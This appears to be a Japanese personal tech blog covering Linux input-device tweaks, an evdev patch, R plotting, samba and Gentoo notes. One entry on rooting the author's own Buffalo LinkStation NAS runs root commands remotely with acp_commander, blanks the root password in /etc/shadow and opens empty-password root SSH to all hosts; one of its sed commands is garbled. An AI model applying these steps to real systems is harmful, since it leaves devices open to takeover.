2016/02/21

Corsair STFARE RGB MX silentのhotplugでusbhid.quirks

最近発売されたCorsair STRAFE RGB MX silentを使っているが、Linuxのブート時やキーボードのhotplug時に次のようなエラーが出ていた。
hid-generic 0003:1B1C:1B20.0002: usb_submit_urb(ctrl) failed: -1
hotplugしてからある程度の時間が経過すれば使えることもあれば、ずっと使えないこともあった。
原因はよくわからなかったが、上記のエラーが理由となっている可能性あると考え、検索したところ
usbhid.quirks=0x1B1C:0x1B20:0x20000000
をboot時のコマンドラインオプションに追加すればよいとの事であった。(usbhidがカーネル内に組み込まれている場合は)
/etc/defualt/grubのGRUB_CMDLINE_LINUXの行を
GRUB_CMDLINE_LINUX="init=/usr/lib/systemd/systemd usbhid.quirks=0x1B1C:0x1B20:0x20000000"
のように編集し、grub2-mkconfig -o /boot/grub/grub.cfgで反映。
quirksが何なのかなど根本的な所は全く理解していないが、前述したエラーは消失し、boot後またはhotplug後にキーボードが使えないということはなくなったようだ。
RGBのbacklightはやっぱりカッコいい。
近日発売される予定のLogitechのg810がすごい気になっている。Romer-Gスイッチは店頭で触った感じだとかなり好きだった。

2015/05/24

Rでグラフを描く際のy軸のラベルなどの件

統計解析やグラフ作成が必要な際にはだいたいいつもRを使っている。
tiffで1000dpi、9cmのグラフを作成したい場合、単純に下記のようにすればよいと思ったわけだが、ラベルの記載がいまいちうまく行かなかった。ラベル中に上付き文字を使う場合はexpression(paste())を使用するのが一般的だと思われるが、どうも上付きにした2の上のほうが下の図のように欠けてしまう。また、y軸の目盛には小数点の".0"がついて欲しかったが、最初その方法が良くわからなかった。

xData <- 5:10
yData <- rnorm(length(xData),7.5,1)

l <- lm(yData ~ xData)

tiff("test.tiff",width=90,height=90,units="mm",res=1000,pointsize=7)
xlim <- c(5,10)
ylim <- c(5.0,10.0)

plot(x=xData, xlab="xData (mm)",
     y=yData, ylab=expression(paste("yData (mm"^"2",")")),
     xlim=xlim,ylim=ylim)

abline(l)
dev.off()


まず、上付きの2の上のほうが欠けてしまう問題について。左側の余白が小さすぎるのが問題っぽかった。par("mar")で出てきた余白を見て、左側の4.1(左から2番目の値)を5.1に変更したらうまくいった。
> par("mar")
[1] 5.1 4.1 4.1 2.1
また、目盛の有効数字についてだが、plot()内で書かずにaxis()を使って自分で書く方法でできることが判明。axis()のlabels引数にsprintf("%.1f",lab_vector)したものを渡すことで".0"がついた目盛を作成できた。
最終的には以下のようになった。

xData <- 5:10
yData <- rnorm(length(xData),7.5,1)

l <- lm(yData ~ xData)

tiff("test.tiff",width=90,height=90,units="mm",res=1000,pointsize=7)
par(mar=c(5.1,5.1,4.1,2.1),font=1,family="Helvetica")
xlim <- c(5,10)
ylim <- c(5.0,10.0)

plot(x=xData, xlab="xData (mm)",
     y=yData, ylab=expression(paste("yData (mm"^"2",")")),
     xlim=xlim,ylim=ylim,xaxt="n",yaxt="n")
axis(1,at=pretty(xlim))
axis(2,at=pretty(ylim),labels=sprintf("%.1f",pretty(ylim)))

abline(l)
dev.off()
これで求めていた形になった。かなり解決に時間がかかったが、今後もRでグラフを作成する際には使っていきたい。統計処理のトレンドはSciPyになってきている?みたいな事も聞いたことがあるが、そっちもそのうち試してみようかと思った。



2015/05/17

Linux Trackball:Emulate3Buttons改造


1年くらい前にevdevのEmulate3Buttonsまわりのコードを改造したが、今回それに追加をすることにした。
xorg.confの設定において、Emulate3ButtonsはButton1(左クリック)とButton3(右クリック)を同時押しするとButton2のeventが発行されるというものである。
また、左右同時押し+トラックボールで画面のスクロールをしたい場合、EmulateWheelを"True"にすればよいわけだが、それを行うEmulateWheelButtonはEmulateされたボタンであってはならないという制約がデフォルトでは存在した。これを変更する改造を以前行ったわけだが、問題が完全に解決したわけではなかった。

自分の愛用しているKensingtonのExpert Mouse 7やSlimbladeにおいて、ボタンのフィジカルレイアウトは


2 | 8
-----
1 | 3
となっているわけだが、自分は


8 | 9
-----
1 | 3
のように使いたい。8をブラウザの戻る、9をブラウザの進むに割り当てると非常にブラウジングが快適になるからだ。
この設定はOption "ButtonMapping" "1 8 3 4 5 6 7 9"のようにすれば可能だが、こうするとEmulate3Buttonsで発行されるボタンはフィジカルボタンの2番目、つまり"8"が発行されてしまう。自分としては中クリックの"2"を発行したい。さらに、EmulateWheelButtonは"2"にしたい。

どうしたものかとしばらく悩んだが、解決策を思いついた。
Emulate3Buttonsで発行されるボタンを存在しないフィジカルボタンの9番目にして、そこをButtonMappingで"2"にすればいいのである。
xf86-input-evdev-2.9.2/src/emuMB.cのステートマシンのstateTab[][][0]が発行されるキー番号なので、ここの2を9に変更すればよい。以前変更したEvdevMBEmuFilterEventの変更部分はそのままで大丈夫だ。


diff -ur xf86-input-evdev-2.9.2/src/emuMB.c xf86-input-evdev-2.9.2-myMB/src/emuMB.c
--- xf86-input-evdev-2.9.2/src/emuMB.c 2015-03-11 12:24:39.000000000 +0900
+++ xf86-input-evdev-2.9.2-myMB/src/emuMB.c 2015-05-17 02:23:52.430447770 +0900
@@ -94,7 +94,7 @@
     {  0,  0,  0 },   /* nothing -> ground (no change) */
     {  0,  0,  1 },   /* left -> delayed left */
     {  0,  0,  2 },   /* right -> delayed right */
-    {  2,  0,  3 },   /* left & right (middle press) -> pressed middle */
+    {  9,  0,  3 },   /* left & right (middle press) -> pressed middle */
     {  0,  0, -1 }    /* timeout N/A */
   },
 /* 1 delayed left */
@@ -102,7 +102,7 @@
     {  1, -1,  0 },   /* nothing (left event) -> ground */
     {  0,  0,  1 },   /* left -> delayed left (no change) */
     {  1, -1,  2 },   /* right (left event) -> delayed right */
-    {  2,  0,  3 },   /* left & right (middle press) -> pressed middle */
+    {  9,  0,  3 },   /* left & right (middle press) -> pressed middle */
     {  1,  0,  4 },   /* timeout (left press) -> pressed left */
   },
 /* 2 delayed right */
@@ -110,12 +110,12 @@
     {  3, -3,  0 },   /* nothing (right event) -> ground */
     {  3, -3,  1 },   /* left (right event) -> delayed left (no change) */
     {  0,  0,  2 },   /* right -> delayed right (no change) */
-    {  2,  0,  3 },   /* left & right (middle press) -> pressed middle */
+    {  9,  0,  3 },   /* left & right (middle press) -> pressed middle */
     {  3,  0,  5 },   /* timeout (right press) -> pressed right */
   },
 /* 3 pressed middle */
   {
-    { -2,  0,  0 },   /* nothing (middle release) -> ground */
+    { -9,  0,  0 },   /* nothing (middle release) -> ground */
     {  0,  0,  7 },   /* left -> released right */
     {  0,  0,  6 },   /* right -> released left */
     {  0,  0,  3 },   /* left & right -> pressed middle (no change) */
@@ -139,33 +139,33 @@
   },
 /* 6 released left */
   {
-    { -2,  0,  0 },   /* nothing (middle release) -> ground */
-    { -2,  0,  1 },   /* left (middle release) -> delayed left */
+    { -9,  0,  0 },   /* nothing (middle release) -> ground */
+    { -9,  0,  1 },   /* left (middle release) -> delayed left */
     {  0,  0,  6 },   /* right -> released left (no change) */
     {  1,  0,  8 },   /* left & right (left press) -> repressed left */
     {  0,  0, -1 },   /* timeout N/A */
   },
 /* 7 released right */
   {
-    { -2,  0,  0 },   /* nothing (middle release) -> ground */
+    { -9,  0,  0 },   /* nothing (middle release) -> ground */
     {  0,  0,  7 },   /* left -> released right (no change) */
-    { -2,  0,  2 },   /* right (middle release) -> delayed right */
+    { -9,  0,  2 },   /* right (middle release) -> delayed right */
     {  3,  0,  9 },   /* left & right (right press) -> repressed right */
     {  0,  0, -1 },   /* timeout N/A */
   },
 /* 8 repressed left */
   {
-    { -2, -1,  0 },   /* nothing (middle release, left release) -> ground */
-    { -2,  0,  4 },   /* left (middle release) -> pressed left */
+    { -9, -1,  0 },   /* nothing (middle release, left release) -> ground */
+    { -9,  0,  4 },   /* left (middle release) -> pressed left */
     { -1,  0,  6 },   /* right (left release) -> released left */
     {  0,  0,  8 },   /* left & right -> repressed left (no change) */
     {  0,  0, -1 },   /* timeout N/A */
   },
 /* 9 repressed right */
   {
-    { -2, -3,  0 },   /* nothing (middle release, right release) -> ground */
+    { -9, -3,  0 },   /* nothing (middle release, right release) -> ground */
     { -3,  0,  7 },   /* left (right release) -> released right */
-    { -2,  0,  5 },   /* right (middle release) -> pressed right */
+    { -9,  0,  5 },   /* right (middle release) -> pressed right */
     {  0,  0,  9 },   /* left & right -> repressed right (no change) */
     {  0,  0, -1 },   /* timeout N/A */
   },
@@ -237,12 +237,14 @@

     if ((id = stateTab[pEvdev->emulateMB.state][*btstate][0]) != 0)
     {
-        EvdevQueueButtonEvent(pInfo, abs(id), (id >= 0));
+ if (!EvdevWheelEmuFilterButton(pInfo, abs(id), (id >= 0)))
+    EvdevQueueButtonEvent(pInfo, abs(id), (id >= 0));
         ret = TRUE;
     }
     if ((id = stateTab[pEvdev->emulateMB.state][*btstate][1]) != 0)
     {
-        EvdevQueueButtonEvent(pInfo, abs(id), (id >= 0));
+ if (!EvdevWheelEmuFilterButton(pInfo, abs(id), (id >= 0)))
+    EvdevQueueButtonEvent(pInfo, abs(id), (id >= 0));
         ret = TRUE;
     }

こうした後で、Option "ButtonMapping" "1 8 3 4 5 6 7 9 2"にする。
/etc/X11/xorg.confの該当部分はこんな感じ。


Section "InputDevice"
  Identifier "Kensington Slimblade"
  Driver "evdev"
  Option "Protocol" "auto"
Option "Device"   "/dev/input/by-id/usb-Kensington_Kensington_Slimblade_Trackball-event-mouse"
  Option "Buttons"  "9"
Option "Emulate3Buttons" "true"
Option "Emulate3Timeout" "100"
Option "EmulateWheel"        "true"
Option "EmulateWheelButton" "9" # requires evdev customize
Option "EmulateWheelTimeout" "250"
Option "YAxisMapping" "4 5"
Option "XAxisMapping" "6 7"
  Option "ButtonMapping" "1 8 3 4 5 6 7 9 2"
EndSection

これで、左右ボタン同時押しで中クリックとして使用し、左右ボタン同時押し+トラックボールでスクロールすることができる。ちなみに中ボタンドラッグができないのは仕様である。
非常に快適である。

2015/02/01

Logicool Trackman Marble (TM-150r)のカップ安定化

LogicoolのMarbleはとても気に入って使っているが、自分のはボールを支えるカップがややガタついていた(個体差か?)。
特に日常作業に支障はないわけだが少し気になりだしたので、分解して固定性を高めることにした。ネジは底板の裏のラベルのところにある隠しネジを含めて5個。これらを外すとスムーズに開いた。開くと、カップは底板とは別にある程度自由に動く構造になっており、これがガタつきの原因と思われた。
瞬間接着剤で固定というのも考えたが、家に瞬間接着剤がなかったのと、やや非可逆的手段になるのが少しためらわれた。他の手段がないかと考えて、詰め物で固定する方法とした。紙で固定するのは、腐ったりカビが生えたりすると嫌だったので、ある程度の厚みがあるプラスチックということで、いらないクリアファイルを切って詰め物として使うことにした。
まず、上下方向のガタつきを抑制するため、底板とカップの間に、底にある穴を邪魔しないような形でクリアファイルを形にあうように切り、3枚重ねにした。
次に、カップと支柱のような構造との間にわずかなすきまがあり、これが前後左右方向のガタつきの原因と考えられたため、幅2mm、長さ8mmくらいに切った長方形のクリアファイルの破片を、これらの間に満遍なく差しこむように留置した。
十分にクリアファイルの破片を差し込み、カップのガタつきがないのを確認し、蓋をしめてネジを戻し、終了。しばらく使ってみたが、ガタつかず、だいぶ使いやすくなったと思った。もっと早くやってればよかった。

2014/05/13

LinuxでTrackballで左右同時押しスクロール

Kensington Slimbladeの左クリックのスイッチが壊れたので、今回は違うのを試してみようと思ってKensington Orbit Wireless Mobile Trackballを購入した(Slimbladeは機会があればハンダゴテで修理したいと思う)。
本機にはセンサースクロールがあるが、使い勝手があまりよろしくない。例えばWindowsとかの環境だと、トラックボールを使う場合は左右ボタン同時押し+ボール回転でスクロールするようにするのが一般的らしい。少し調べた限りでは、Linuxにおいては例えばLogicoolのTrackman Marble TM-150rとかの場合、ボタンの一つ(例えば左小ボタンなど)をスクロール用に割り当てる方法が一般的なようであった。

2ボタントラックボールでボールでスクロールをする場合どのようにすればいいかについて色々試してみたため、忘れないようメモしておく。

xorg.confでできるボタン設定について(evdev使用):
Option "Emulate3Buttons" "true/false"
Button 1,Button 3の同時押しでButton 2にできる。

Option "EmulateThirdButton" "true/false"
Button 1の長押し(EmulateThirdButtonTimeout)で任意のボタン(EmulateThirdButtonButton)にできる。

Option "EmulateWheel" "true/false"
任意のボタン(EmulateWheelButton)を押しながらのボール操作でスクロールできる。ただしそのボタンはEmulateされたボタンであってはならない。
例えば、
Option "Emulate3Buttons" "true" ← Button 2を1,3同時押しでエミュレートする
Option "EmulateWheel"  "true"
Option "EmulateWheelButton" "2"
の場合、「"EmulateWheelButton' "2"」 は無効である。これが一番やりたいんだが。


解決策1. 右ボタンをスクロール用に割り当てる。

xorg.conf -----
  Option     "ButtonMapping" "1 3 2 4 5 6 7 8"
 Option     "EmulateThirdButton" "true"
 Option     "EmulateThirdButtonTimeout" "400"
 Option     "EmulateThirdButtonButton" "2"
 Option     "EmulateThirdButtonMoveThreshold" "1"
 Option     "EmulateWheel"       "true"
 Option     "EmulateWheelButton" "3"
 Option     "EmulateWheelTimeout" "250"
 Option     "YAxisMapping"  "4 5"
 Option     "XAxisMapping"  "6 7"
-----

右ボタンをスクロール用にしてしまうと、副作用として右クリックドラッグができなくなる。自分の場合、右クリックドラッグが必要であった。
EmulateThirdButtonとEmulate3Buttonsは同時に使用できないか(ソースちょっと見たが、あんまり詳しく読んでないw)?そのためButtonMappingで右ボタンを中クリック(Button 2)にする。"EmulateWheelButton" "3"の3は物理的な右ボタンを意味するので、右ボタンをスクロール用にする。こうすると右クリックに相当するものが必要になるので、左ボタン長押しで右クリックを出すようにする。"EmulateThirdButtonButton" "2"でButtonMappingの2番目、すなわちButton 3とする。
この設定なら、400ms以上左ボタンを長押しすれば右クリックが出せる。EmulateThirdButtonMoveThreshold (1px)以上ポインタを動かせば、左クリックドラッグ扱いとなる。

左ボタン→左クリック
左ボタン長押し→右クリック
右ボタン→中クリック
右ボタン+ボール操作→スクロール

となる。長押しに慣れれば結構便利かもしれないとは思った。


解決策2. やっぱり左右同時押しでスクロールしたい。

EmulateWheelButtonがEmulateされたボタンであってはならない、というのが制約である。ソースコード修正が必要となった。これを書いている時点で、gentooではxf86-input-evdev-2.8.2が最新っぽかったのでこれをget。/src/emuMB.c がMiddle Button Emulationをしている。むずかしいステートマシンになっているようで、ここの理解はあきらめたw。。。ただ、EvdevMBEmuFilterEvent()関数で、EvdevQueueButtonEventでエミュレートボタンをQueueしていることでボタンをエミュレートしていた。ここにEmulateWheelを行うEvdevWheelEmuFilterButton()をhookすればいいかもしれない。EvdevQueueButtonEvent()に投げる引数をそのまま投げることにした。

myemu.patch -----
diff -ur xf86-input-evdev-2.8.2/src/emuMB.c xf86-input-evdev-2.8.2-my/src/emuMB.c
--- xf86-input-evdev-2.8.2/src/emuMB.c 2013-08-29 14:10:43.000000000 +0900
+++ xf86-input-evdev-2.8.2-my/src/emuMB.c 2014-05-12 23:07:32.939481119 +0900
@@ -237,12 +237,14 @@
 
     if ((id = stateTab[pEvdev->emulateMB.state][*btstate][0]) != 0)
     {
-        EvdevQueueButtonEvent(pInfo, abs(id), (id >= 0));
+ if (!EvdevWheelEmuFilterButton(pInfo, abs(id), (id >= 0)))
+     EvdevQueueButtonEvent(pInfo, abs(id), (id >= 0));
         ret = TRUE;
     }
     if ((id = stateTab[pEvdev->emulateMB.state][*btstate][1]) != 0)
     {
-        EvdevQueueButtonEvent(pInfo, abs(id), (id >= 0));
+ if (!EvdevWheelEmuFilterButton(pInfo, abs(id), (id >= 0)))
+     EvdevQueueButtonEvent(pInfo, abs(id), (id >= 0));
         ret = TRUE;
     }
-----

xorg.conf -----
 Option     "Emulate3Buttons"       "true"
 Option     "Emulate3Timeout"       "100"
 Option     "EmulateWheel"       "true"
 Option     "EmulateWheelButton" "2"
 Option     "EmulateWheelTimeout" "250"
 Option     "YAxisMapping"  "4 5"
 Option     "XAxisMapping"  "6 7"
-----

ソースをくまなく読んだわけではないし、あまり深く考えてもいないが、これでなんとかいけてる(かもしれない)。引数は理論的にこれで正しいか、他の修正は本当に必要ないのか、等の質問には全く答えられないが、とりあえず下記のように動くようになった。

左ボタン→左クリック
右ボタン→右クリック
左右ボタン同時押し→中クリック
左右ボタン同時押し+ボール操作→スクロール

中クリックドラッグができないのは仕様ということになるか。
この方法だとやっぱ便利だわ。

2013/03/20

Buffalo LinkStation LS-X1.0TLJで遊ぶ。


ついに約1万円という大枚をはたいて念願のNAS(Buffalo Linkstation LS-X1.0TLJ)を購入。
これで家の中でファイル共有とかができる!!
早速分解。
実は、今まで購入を躊躇しつづけた理由はこうしてジャンクにしてしまうことで1万円をドブに捨てることが怖かったからだ!
キーボードとかモニタが繋げないシステムは怖い。シリアルコンソールとか持ってないし。。boot成功→ssh起動→接続までできなければすなわちjunkである。
PCから復元しようにも壊した後だとHW環境がわからなかったりしてお手上げ。。
今回、勇気を出して購入してみた。
分解したら、小さな基板とSATAの3.5inchHDDがくっついていた。HDDはTOSHIBA。
ちっちゃさに感動。
LS-X1.0TLJはLS-XLシリーズという種類であり、Linuxが動いている。ということがわかった。
まず、普通に本体を起動。きちんと動くことを確認。
Windows機(VMwareだが)にBuffaloのツールを入れる。
すなわち、Buffalo NAS Navigator2と、ファームウェアアップデータ(LSUpdater)だ。
http://buffalo.jp/download/driver/hd/ls_fw.html
特にLSUpdater.exeはBuffalo純正、改造の際必須のツールである(とのちに悟った)。

次に、nas_central.orgでacp_commander.jarというツールを入手。ググれば詳細が出てくるが、
root権限でコマンドを外から実行させることができる。sshを有効化する前のつなぎや復旧困難になったときの助けになる。

使い方はtargetが192.168.0.10として
$ java -jar acp_commander.jar -t 192.168.0.10 -ip 192.168.0.10 -pw password -c "whoami"
root
みたいな感じ。最後がroot権限で動作するコマンドである。


今回はまず、試行錯誤の末、LS-XLのHDD交換手順を把握したのでまとめたい。

1) HDDセットアップ
まず新品(でなくてもよいが)のHDDをPCにセット。/dev/sdbとする。
# parted /dev/sdb
GNU Parted 3.1
Using /dev/sdb
Welcome to GNU Parted! Type 'help' to view a list of commands.
(parted) p                                                              
Model: ATA TOSHIBA DT01ACA1 (scsi)
Disk /dev/sdb: 1000GB
Sector size (logical/physical): 512B/4096B
Partition Table: gpt
Disk Flags:

Number  Start   End     Size    File system  Name     Flags
 1      17.4kB  1000MB  1000MB  ext3         primary  boot

とりあえずpartedでこのような状態まで持ち込む。boot flagはparted上でset 1 boot onでsetできる。


2) HDDをlinkstationからブートできるようにする。
ファームウェアは今回はls_series-164を使用。v.1.64だ。
上記LSUpdater.exeに同梱されてきたuImage.img、initrd.imgをそれぞれcopy、zipにリネームしunzip。
パスワードは http://buffalo.nas-central.org/wiki/How_to_modify_an_initrd などネット上に書いてある。
initrd.zipからinitrd.buffaloを、uImage.zipからはuImage-lsp.5.x.buffaloを取り出す(uImage-88f5182はLS-XLの場合スルーでよい)。
uImage-lsp.5.x.buffaloをuImage.buffaloにrename。
こうして得たinitrd.buffal、uImiage.buffaloを上記partitionにぶち込む。
# mount /dev/sdb1 /mnt/hdd && mv initrd.buffalo uImage.buffalo /mnt/hdd
でOK。
ここでHDDをlinkstationにセット。linkstationの電源を投入する。

3) firmware書き込み
LSUpdate.exeの出番である。まず、LSUpdate.iniを編集し
[Flags]
VersionCheck = 0
NoFormatting = 0

[SpecialFlags]
Debug = 1
最後のほうをこのように書き換える。
LSUpdate.exeを起動したら左上のアイコンを右クリックし、デバッグモードを選択。
この段階でネットワーク上のlinkstationは検出されているべきだ。linkstationはu-bootというbootloaderを使用しており(ROM上にある)、先ほどのuImage.buffaloがu-boot対応kernelである。
initrdが立ち上がり、initrd環境内でdhcp clientが立ち上がるはずとなっている。linkstationが見つからない場合はネットワーク設定およびHDDの状態を見直す。
とりあえずチェックボックスに全部チェックをつけて(IPアドレス云々のところは無視してよい)、ファームウェア更新。
ここでfirmwareの書き換え、再起動などが始まるわけだが、かなり待っていると"Linkstationの起動完了を待っています" "しばらくお待ち下さい"の後に"LinkStationからの応答を1200秒間待機しましたが応答がありませんでした もう一度待機してよろしいですか?"と出るのでいいえとする。すると"LinkStationからの応答がありませんでした アップデートを中止します"となる。
その後、"LS-XL-EMD89からの応答を確認できませんでした"となりlinkstationが検出できなくなる。

ここでLinkStationの電源を切り、ふたたびHDDを取り外しPCに接続。
(parted) p                                                              
Model: ATA TOSHIBA DT01ACA1 (scsi)
Disk /dev/sdb: 1000GB
Sector size (logical/physical): 512B/4096B
Partition Table: gpt
Disk Flags:

Number  Start   End     Size    File system     Name     Flags
 1      1049kB  1026MB  1024MB  ext3            primary
 2      1026MB  6146MB  5120MB  ext3            primary
 3      6146MB  6147MB  1049kB                  primary
 4      6147MB  6148MB  1049kB                  primary
 5      6148MB  7172MB  1024MB  linux-swap(v1)  primary
 6      7172MB  992GB   985GB   xfs             primary
このようにformatしてくれたことがわかる。
ここで
(parted) set 1 boot on
し # mount /dev/sdb1 /mnt/hddでマウント。
# ls /mnt/hdd
builddate.txt              u-boot_lsxlv2_64mb.bin  uImage.map
hddrootfs.buffalo.updated  uImage-88f5182.buffalo
initrd.buffalo             uImage-lsp.5.x.buffalo
このような状態。最初にいれたuImageは消されてる。。。?ここで
# cp uImage-lsp.5.x.buffalo uImage.buffalo
で再びuImage.buffaloを作成(シンボリックリンクでいいかは試してない)
これが必要だと悟るまでしばらくかかった。
ふたたびumount、PCからHDDを取り外しlinkstationに戻し、電源投入。

4) 起動。
ここが最大のポイントなのだが、ここでしばらく待つ。5-6分は覚悟したほうがよい。
この時間は、おそらくhddrootfs.buffalo.updatedを/などに展開している時間である(/dev/sdb2に相当)。
電源ランプは青く点滅しておりboot失敗の状態やエラーと外から区別がつかないが、待ち続ける。ここが最大のハマりどころである。
すると電源ランプの点滅が終わり、青く点灯した状態となる。
BUFFALO NAS Navigatorで確認すると認識できており、正常起動したとわかる。めだたしめでたし。

NAS Navigatorからshutdown。パスワードはdefaultのpasswordである。

5) root passwordクリア、ssh導入
以上で終わってもよいが、とりあえず続ける。

rootパスワードクリア /etc/shadow編集
# sed -i 's/root:[^:]*:/root::/g' /etc/shadow

/etc/sshd_config編集、初回ログインのためPermitEmptyPasswordにしておく
# sed -i 'sed -i 's/UsePAM yes/UsePAM no/g' /etc/sshd_config'
# sed -i 's/PermitRootLogin no/PermitRootLogin yes/g' /etc/sshd_config
# echo "PermitEmptyPassword yes" >> /etc/sshd_config

hosts.allow作成
# echo "sshd:ALL" >> /etc/hosts.allow

inetdに登録 -iはinetdから起動するオプション。sshdは/usr/local/sbin/にある。
# echo "ssh stream tcp nowait root /usr/local/sbin/sshd /usr/local/sbin/sshd -i" >> /etc/initd.conf

別に全部emacsでやってもいいです。

これでふたたびlinkstationにHDDを接続、起動。
ssh root@192.168.0.10でログインできる。めでたしめでたし。

6) sshログイン、rootパスワード設定ww
まず# passwd rootでパスワードを設定し、PermitEmptyPasswordをnoにする。

このLinkStationは11,000円くらいで購入した。1TB HDDの値段を7,000円前後としても、4,000程度でlinuxマシンを入手できたことになり、感動。

2013/02/10

vmware-player-5.0.1.894247が落ちる件について(curl)


ある日(今日だが)、突然vmware-playerが立ち上がらなくなっていた。vmware-player自体のversionを変更した覚えはない。
vmplayerのウィンドウが出ずに、zsh: abortとなって落ちる。segfaultっぽい。
おそらく日々のemergeでなんらかのパッケージが入れ替わったことによるのだろう。
しかしばらくvmwareを起動してなかったので原因パッケージは不明だった。
/tmp/vmware-metro/以下のログファイルを見ても、セグフォっている原因はいまいち不明だった。
gdbでトレースすることにした。

$ gdb vmplayer

(gdb) r
Starting program: /opt/vmware/bin/vmplayer
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib64/libthread_db.so.1".
[New Thread 0x7fffe1112700 (LWP 7096)]

Program received signal SIGSEGV, Segmentation fault.
0x00007fffe8c1d997 in curl_multi_cleanup () from /usr/lib64/libcurl.so.4

どうやらcurlで落ちてる?ということでcurlのversionを1個前にもどした。
emerge -1 "=net-misc/curl-7.28.1"
vmplayerは無事立ち上がる。
curlをふたたび7.29.0に戻したところやはり落ちる。
どうやら、自分の環境ではnet-misc/curl-7.29.0との相性(笑)がよくないよう。
特にこれ以上の原因追求をする気にはなれず終了とした。
やっぱ困った時はgdbか。
やっぱ琴浦さん面白いわ。

2012/11/23

gentoo mediatomb-0.12.1-r4.ebuild compile error


uPnP serverのmediatombを最近使い始めたが、mediatomb-0.12.1-r4.ebuildでコンパイルできなくなった。
bugzillaを見るとこれに相当するか。https://bugs.gentoo.org/show_bug.cgi?id=442602
error: ‘CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_CACHE_DIR’ was not declared in this scope
で止まる。
config_mangager.hでは次のように。

typedef enum
{
// 途中略
#if defined(HAVE_FFMPEG) && defined(HAVE_FFMPEGTHUMBNAILER)
    CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_ENABLED,
    CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_THUMBSIZE,
    CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_SEEK_PERCENTAGE,
    CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_FILMSTRIP_OVERLAY,
    CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_WORKAROUND_BUGS,
    CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_IMAGE_QUALITY,
    CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_CACHE_DIR_ENABLED,
    CFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_CACHE_DIR,
#endif
// 略
} config_option_t;

HAVE_FFMPEGTHUMBNAILERがないとCFG_SERVER_EXTOPTS_FFMPEGTHUMBNAILER_CACHE_DIRが宣言されずエラーになる模様。
最も簡単な解決法はUSE="thumbnail"とする事っぽかった。
ffmpegthumbnailerがインストールされ、無事mediatombとともにコンパイル終了。

GIRLS & PANZERすげえ面白いわ!!

2012/11/04

Gentooの/etc/make.conf

久しぶりにGentooの/etc/make.confの整理をした。
globalにおいとかなくてもいいUSE flagを削除しすっきりさせる方向で整理。例えば"python", "gnutls" use flagとかも現時点で必要がないので消した。

ACCEPT_KEYWORDS="~amd64"
CFLAGS="-O2 -march=core2 -mtune=core2 -pipe "

CHOST="x86_64-pc-linux-gnu"
CXXFLAGS="${CFLAGS}"
MAKEOPTS="-j8"
USE="X gnome gtk3 alsa pulseaudio cups crypt dbus dvd \
     ipv6 threads \
     mp3 ogg flac wma mad aac a52 vorbis cdda x264 xvid mpeg ffmpeg \
     jpeg png gif svg tiff pdf truetype \
     cjk unicode cairo \
     opengl nvidia xv ncurses xinerama \
     mmx mmxext sse sse2 sse3 ssse3 \
     -qt3support -qt -qt4 -kde -oss -arts -esd -canna"

INPUT_DEVICES="evdev joystick wacom"
VIDEO_CARDS="nvidia"
FEATURES="splitdebug"
SYNC="rsync://rsync.gentoo.org/gentoo-portage/"
ACCEPT_LICENSE="*"
PORTDIR_OVERLAY="/usr/local/portage \
/var/lib/layman/vmware"
PORTAGE_ECLASS_WARNING_ENABLE="0"
source /var/lib/layman/make.conf

今のところこんな感じ。もっとすっきりさせていきたい。

2012/10/21

sambaのパスワード


samba 3.xのpasswordの格納場所としてsmbpasswdファイルは推奨されないようだ。
確かにgentooにportageからsambaをインストールした時もシステムにsmbpasswdファイルは存在しなかった。
testparm -v | grep passで/var/lib/samba/private/smbpasswdとは出てくるがw。
実態はpassdb backend = tdbsamとなっており、ユーザ情報の格納にはtdbファイルが使用されている。
TDB(Trivial Database)というユーザ管理データベースだそうだ。
自分の環境では/var/lib/samba/private/passdb.tdbだった。
tdbファイルはバイナリファイルだが、tdbファイルの内容をdumpするtdbdumpというコマンドがあるため、中をのぞくことができる。
$ tdbdump /var/lib/samba/private/passdb.tdb
でOK。

2012/10/15

samba備忘録

今更だが、自宅でsambaを利用することにした。メインのデスクトップPCのファイルに他の端末からもアクセスできれば便利だ。
sambaの設定は/etc/samba/のsmb.confというファイルに記述して行う。
全体的な設定は[global]というところに書き、共有する部位ごとに[share]などとエントリを作っていく形式らしい。
設定項目についてまとめてみる。

[global]
workgroup = WORKGROUP # 通常はWORKGOURP?windowsの設定にもよるか
server string = Samba Server # コメントらしい
netbios name = Gentoo # NetBIOSでの名前。大文字になるようだ
browseable = Yes # 外からみえるようにするか、らしい。
os level = 35 # 各workgroupにはmaster browserある。そのなりやすさのpriority
preferred master = Yes # local master browserになろうとする

# security
security = user # ユーザ認証にする。
encrypt passwords = true
hosts allow = 192.168.0. 127. # アクセスできるホストを制御
invalid users = root # rootにはさせない
map to guest = Never # ゲストユーザは許さない方針。
guest ok = No

#
load printers = no # プリンタはなし。
log file = /var/log/samba/log.%m
max log size = 100 # (kb)

# codings
unix charset = UTF-8 # 日本語可にするにはこうしろ、とのこと。
display charset = UTF-8
dos charset = CP932

#
# Directories
#
[share]
comment = My Sharing Stuff
path = /path/to/dir
read only = No
create mode = 0777
directory mode = 0777
valid users = myname # 許可するユーザを設定。

設定を見たい場合はtestparmコマンドを使う。
詳細を見たい場合はtestparm -vでOK。
nfsとかにしようかとも迷ったが、CIFSならLinux、Windows両方からアクセスしやすいので、sambaにした。
使い始める時、sambaのユーザを追加する必要があるが、
# pdbedit -a -u myname でOK。-aはadd、-uはユーザ名。この後passwdを設定して終了。
削除するときは
# pdbedit -x -u myname でよい。
samba快適だわ。





2012/01/01

mozc.el導入

今年初投稿!

ibus-mozcを使ってるが、emacs上でibusがどうもうまく動かない。
なんか特別な設定がいるのか?前uimを使ってたときはuimは動いてたけど。

どうしてもわからないので放置していたが、このたびemacs上でも日本語を使いたいと思って
mozc.elを導入することにした。
gentooの場合は、ibus-mozcというパッケージにemacsフラグがあるので、
# USE=emacs emerge ibus-mozc
としてmozc.elをインストール。

次にmozc.elに説明があるように.emacsとかに

(require 'mozc)
(set-language-environment "Japanese")
(setq default-input-method "japanese-mozc")

